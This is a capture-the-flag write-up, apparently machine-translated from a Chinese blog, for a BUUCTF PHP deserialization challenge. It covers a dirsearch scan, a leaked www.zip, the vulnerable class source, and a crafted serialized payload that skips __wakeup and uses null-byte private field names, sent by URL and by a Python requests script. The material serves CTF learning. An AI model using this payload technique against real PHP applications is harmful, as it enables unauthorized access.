[BUUCTF] [Geek Challenge 2019] PHP clear and easy to understand detailed summary Writeup

0x00 test site

Directory scan

Source code leak

Deserialization

0x01 problem solving

dirsearch

-u 指定url

-e 指定网站语言

-w 可以加上自己的字典(加上路径)

-r 递归跑(查到一个目录后,在目录后重复跑,很慢,不建议用)
python3 dirsearch.py -u http://26e0c1d7-d98e-4a34-9ffe-901887297fb5.node3.buuoj.cn/ -e php

Insert picture description here

Royal sword is also OK

Insert picture description here
Don't sweep too fast
Insert picture description here

/www.zip

Insert picture description here
index.php
Insert picture description here

Pass in a select parameter in GET mode, and then deserialize

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

Contains flag.php, so you must first enter a serialized parameter

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    
    
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
    
    
        $this->username = 'guest';
    }

    function __destruct(){
    
    
        if ($this->password != 100) {
    
    
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
    
    
            global $flag;
            echo $flag;
        }else{
    
    
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

Declare a Name class, with username, password, and both are decorated with private

Execute __destruct() and get the flag if the conditions are met: password=100, username=admin

<?php

class Name{
    
    
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>
string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"

That is

O:4:"Name":2:{
    
    s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

During deserialization, the __wakeup() magic method will be executed first, but this method will reassign our username, so what we have to consider is how to skip __wakeup() and execute __destruct

Skip __wakeup()
When deserializing the string, when the value of the number of attributes is greater than the actual number of attributes, the execution of the __wakeup() function will be skipped

O:4:"Name":3:{
    
    s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

And because this declaration variable is private

The fields declared private are private fields, which are only visible in the declared class, and are not visible in the subclasses of the class and the object instances of the class. Therefore, when the field name of a private field is serialized, the class name and field name will be prefixed with 0. The length of the string also includes the length of the prefix

Let's transform the serialization again

O:4:"Name":3:{
    
    s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

Use a GET request to pass in the prepared serialization as a parameter of select

/?select=O:4:%22Name%22:3:{
    
    s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

Insert picture description here

flag{00257f4c-c053-49e6-b725-b753c91786d8}

__wakeup() method

effect:

Contrary to the __sleep() function, the __sleep() function is automatically called during sequence serialization. The __wakeup() function is automatically called during deserialization.

Bypass:

Deserialize the string, when the value of the number of attributes is greater than the number of real attributes, the execution of the __wakeup function will be skipped.

In this question, the wakeup method will cause username to become guest, so you need to bypass this method by changing the number of objects in the serialized string.

The 2 after the name means that there are 2 attributes in the class, but if we change 2 to 3, the __wakeup() function will be bypassed.

import  requests
url ="http://26e0c1d7-d98e-4a34-9ffe-901887297fb5.node3.buuoj.cn/"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)

Insert picture description here

Private public protected difference comparison

Both of the following can output serialized results

var_dump(serialize($a));
$b=serialize($a);
echo $b;
?select=O:4:%22Name%22:3:{
    
    s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}

You need to change the 2 behind the Name to another number, and change the %20 of the space to %00

Only public modification, the original structure is good;
private modification needs to use %00Name%00;
protected modification needs to use %00*%00username

%xx, followed by a hexadecimal value, you can check the corresponding ASCII code table to find the corresponding output character

%00 
不可见的空字符(Null) ASCII码十进制为0

%20
空格

%00 is added here because the two variables username and password are both private variables. When serialization is formed, %00 will be automatically performed before and after the class name in the variable, but it will be lost when copied.

Here, 2 is changed to a number greater than 2, in order to bypass the __wakeup() function and prevent the username from being overwritten;

The %00 is added because they are all private variables, and there will be whitespace before and after the class name in the variable, which will be lost when copied. After getting the payload, submit it to get the flag

private

Remove the Name in public, the number becomes smaller

The fields declared private are private fields, which are only visible in the declared class, and are not visible in the subclasses of the class and the object instances of the class. Therefore, when the field name of a private field is serialized, the class name and the field name will be prefixed with \0. The length of the string also includes the length of the prefix added. The \0 character is also calculated in length.

<?php

class Name{
    
    
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>
string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"

public

<?php

class Name{
    
    
    public $username = 'nonono';
    public $password = 'yesyes';

    public function __construct($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>
string(63) "O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}"

protected

Name is replaced with

 * 

The field declared protected is a protected field, which is visible in the declared class and its subclasses, but not visible in the object instance of the class. Therefore, when the field name of the protected field is serialized, the field name will be prefixed with \0*\0. Here \0 means the character with ASCII code 0 (invisible character), not the combination of \0. If you pass \0*\0username directly on the URL, an error will be reported, because it is not actually \0, but it is used to replace the character with ASCII value 0. You must use python to pass the value.

<?php

class Name{
    
    
    protected $username = 'nonono';
    protected $password = 'yesyes';

    public function __construct($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>
string(71) "O:4:"Name":2:{s:11:" * username";s:5:"admin";s:11:" * password";i:100;}"

Guess you like

Origin blog.csdn.net/vanarrow/article/details/108242411